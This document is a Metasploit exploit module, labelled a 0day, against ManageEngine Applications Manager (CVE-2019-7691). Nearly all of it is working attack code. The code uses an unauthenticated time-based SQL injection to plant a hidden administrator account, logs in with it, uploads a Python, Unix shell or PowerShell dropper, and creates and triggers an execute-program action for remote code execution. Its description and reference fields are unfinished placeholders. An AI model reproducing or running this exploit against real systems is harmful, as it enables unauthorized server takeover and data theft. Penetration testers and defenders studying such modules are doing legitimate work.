ManageEngine Applications Manager Remote Code Execution 0day

manageengine_appmanager_exec_0day.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
    'Name'           => "ManageEngine Applications Manager Remote Code Execution",
    'Description'    => %q(
      bla bla bla
    ),
    'License'        => MSF_LICENSE,
    'Author'         =>
      [
        'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
      ],
    'References'     =>
      [
        ['URL', 'https://pentest.blog/change-me'],
        ['CVE', '2019-7691']
      ],
    'DefaultOptions' =>
      {
        'RPORT' => 9090,
        'WfsDelay' => 30,
        'HttpClientTimeout' => 60 # sometimes, specially dropper upload request takes 40-50 second waiting...
      },
    'Platform'       => ['unix', 'python', 'win'],
    'Arch'           => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
    'Targets'        =>
      [
        ['Automatic (Python Dropper)',
         'Platform'   => 'python',
         'Arch'       => ARCH_PYTHON,
         'Type'       => :python_dropper
        ],
        ['Unix (Unix CMD Dropper)',
         'Platform'   => 'unix',
         'Arch'       => ARCH_CMD,
         'Type'       => :unix_dropper
        ],
        ['Windows (Powershell Dropper)',
         'Platform'   => 'win',
         'Arch'       => [ARCH_X86, ARCH_X64],
         'Type'       => :psh_dropper
        ]
      ],
    'Privileged'     => true,
    'DisclosureDate' => 'Jan 5 2019',
    'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
      ]
    )
  end

  def something_went_wrong
    fail_with Failure::Unknown, 'Something went wrong'
  end

  def detect_new_cookie(res)
    # Sometimes, backend system generates new session id. Therefore, we have to use new one.
    # In here, we are updating global cookie variable so that upcoming send_request_cgi can use new cookie.
    unless res.get_cookies.empty?
      @cookie = res.get_cookies
    end
  end

  def sqli_with_validation(query)
    # During the exploitation process, we are creating a user by exploiting time-based sqli.
    # Before continuing the exploitation process, I would like to check if the user was successfully created.
    # Step 1. check that we can reach the host with no problems
    # Step 2. check that response time is bigger the t1 as well as integer 5.
    # I really don't want to make '5' dynamic value... I hate time-based sqli !
    t = Time.now
    res = execute_query('select 1')
    t1 = Time.now-t
    if res && res.body.include?('true')
      t = Time.now
      execute_query(query)
      t2 = Time.now-t
      if t2 >= t1 + 5
        true
      else
        false
      end
    else
      something_went_wrong
    end
  end

  def execute_query(query)
    # Actual method where we are exploiting the time-based sqli.
    # We are going to exploit this sqli multiple time throughout the exploitation process.
    sql = rand_text_numeric(1+rand(5))
    sql << "');"
    sql << query
    sql << '--'

    send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'servlet', 'SyncMonitorInAdminMG'),
      'vars_post' => {
        'operation' => 2,
        'mgResourceID' => rand_text_numeric(1+rand(5)),
        'resourceList' => [sql].to_json # payload must be within square brackets !
      }
    )
  end

  def create_admin
    # One of the feature of this product is to upload and execute anything you want. In order to access to
    # this feature, we have to create our own administrator account by exploiting sqli.
    @username = rand_text_alphanumeric(8+rand(8))
    @password = rand_text_alphanumeric(8+rand(8))

    print_status('Creating administrator user by exploiting unauth stacked sqli')

    # We have to populate the data on two different table.
    query = "insert into am_userpasswordtable (userid,username,password,apikey) values "
    # I hate varbinary data-type of mssql. It requires 0x at the beginning of hash without single quote surrounding ! So here we have hacky solution.
    query << "('#{rand_text_numeric(3+rand(10))}','#{@username}',#{@dbms == 'mssql' ? "0x#{Rex::Text.md5(@password)}" : "'#{Rex::Text.md5(@password)}'"},'#{Rex::Text.md5(@password)}');"
    query << "insert into am_usergrouptable (username,groupname) values ('#{@username}','ADMIN');"

    execute_query(query)

    print_status('Validating created administrator account')

    # Manually crafted time-based sqli payload which call pg_sleep(5) when both table successfully populated.
    query = ""
    if @dbms == 'mssql'
      query << "IF (select count(*) from am_userpasswordtable WHERE username = '#{@username}')>0 "
      query << "and (select count(*) from am_usergrouptable Where username ='#{@username}')>0 waitfor delay '00:00:05'"
    else # that means we have postgresql. <3 opensource !
      query << "SELECT CASE WHEN (SELECT COUNT(*) FROM am_userpasswordtable where username = '#{@username}')>0"
      query << "AND ((SELECT COUNT(*) FROM am_usergrouptable where username = '#{@username}'))>0 THEN (select 1 from pg_sleep(5)) ELSE 1 END;"
    end

    if sqli_with_validation(query)
      print_good("Admin username : #{@username}")
      print_good("Admin password : #{@password}")
    else
      something_went_wrong
    end
  end

  def auth
    print_status('Authenticating with created user')
    # We have to force backend system to generate one session id for us before auth request.
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )
    if res && res.code == 200 && res.body.include?('Applications Manager Login Screen')
      # Ok, it seems we got the cookie now we need to use it for actual authentication
      @cookie = res.get_cookies
      res = send_request_cgi(
        'method'  => 'POST',
        'uri'     =>  normalize_uri(target_uri.path, 'j_security_check'),
        'cookie'  => @cookie,
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @username,
          'j_password' => @password
        }
      )
      if res && res.code == 302 && res.body.include?('Redirecting to')
        print_good('Successfully authenticated')
        res = send_request_cgi(
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
          'cookie'  => @cookie
          )
        detect_new_cookie(res)
      else
        something_went_wrong
      end
    else
      something_went_wrong
    end
  end

  def craft_dropper
    case target['Type']
      when :python_dropper
        "python -c \"#{payload.encoded}\""
      when :unix_dropper
        payload.encoded
      when :psh_dropper
        cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
    end

  end

  def dropper_extension
    case target['Type']
      when :unix_dropper
        '.sh'
      when :python_dropper
        '.py'
      when :psh_dropper
        '.bat'
    end
  end

  def upload_payload
    print_status('Uploading payload file')

    @filename = rand_text_alpha(8 + rand(4)) + dropper_extension
    register_file_for_cleanup(@filename)

    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(craft_dropper, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@filename}\"")

    # Only the god knows why we have to hit that endpoint two times.
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "Upload.do"),
      'cookie'   => @cookie,
      'vars_get' => {
        'uploadDir' => './'
      }
    })
    detect_new_cookie(res)

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "Upload.do"),
      'cookie'   => @cookie,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    })

    if res && res.code == 200 && res.body.include?("The file #{@filename} was successfully uploaded")
      print_good('Payload successfully uploaded.')
      detect_new_cookie(res)
    else
      fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
    end
  end

  def create_action
    # The 'feature' we loved most.
    print_status('Creating Execute Program action')

    # We need to detect default path where the app have write permission.
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('execProgExecDir')
      path = res.body.scan(/<input type="text" name="execProgExecDir" maxlength="200" size="40" value="(.*)" class="formtext xxlarge">/).flatten[0]  || ''
      detect_new_cookie(res)
    else
      something_went_wrong
    end

    # Now we gotta create action that we need.
    @cmd_name = rand_text_alphanumeric(8+rand(8))
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => @cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'serversite' => 'local',
        'abortafter' => 999999,
        'cancel' => 'false',
        'choosehost' => -2,

        'execProgExecDir' => path,
        'command' => @filename,
        'displayname' => @cmd_name

      }
    )
    if res && res.code == 200 && res.body.include?('Execute Program action successfully created.')
      print_good('Execute Program Action successfully created.')
      detect_new_cookie(res)
    else
      something_went_wrong
    end
  end

  def trigger_action
    # We need to find I of action that we've created before and then using this UD value we are going to trigger the payload.
    print_status('Searching program action ID')
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => @cookie,
      'vars_get' => {
        'method' => 'testAction',
      }
    )
    if res && res.code == 200
      regex = /<a href="#" class="actions-links " onClick="fnOpenNewWindowWithHeightWidthPlacement\('\/showActionProfiles.do\?method=getActionDetails&actionid=(\d+)','710','350','250','200'\)">\s+#{@cmd_name}<\/a>/
      id = res.body.scan(regex).flatten[0]  || ''
      print_good("Action ID : #{id}")
      detect_new_cookie(res)
      print_status('Triggering the payload')
      send_request_cgi(
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
        'cookie'  => @cookie,
        'vars_get' => {
          'method' => 'testAction',
          'actionID' => id,
          'haid' => 'null'
        }
      )
    else
      something_went_wrong
    end
  end

  def check
    # We can'T  validate vulnerability without detect the target dbms system in the first place.
    # Beside that, we will use @dbms variable on different stage of the exploitation.
    if sqli_with_validation("select pg_sleep(5)")
      @dbms = 'postgresql'
      Exploit::CheckCode::Vulnerable
    elsif sqli_with_validation("waitfor delay '00:00:05'")
      @dbms = 'mssql'
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable
    print_good("Target DBMS : #{@dbms}")
    create_admin
    auth
    upload_payload
    create_action
    trigger_action
  end
end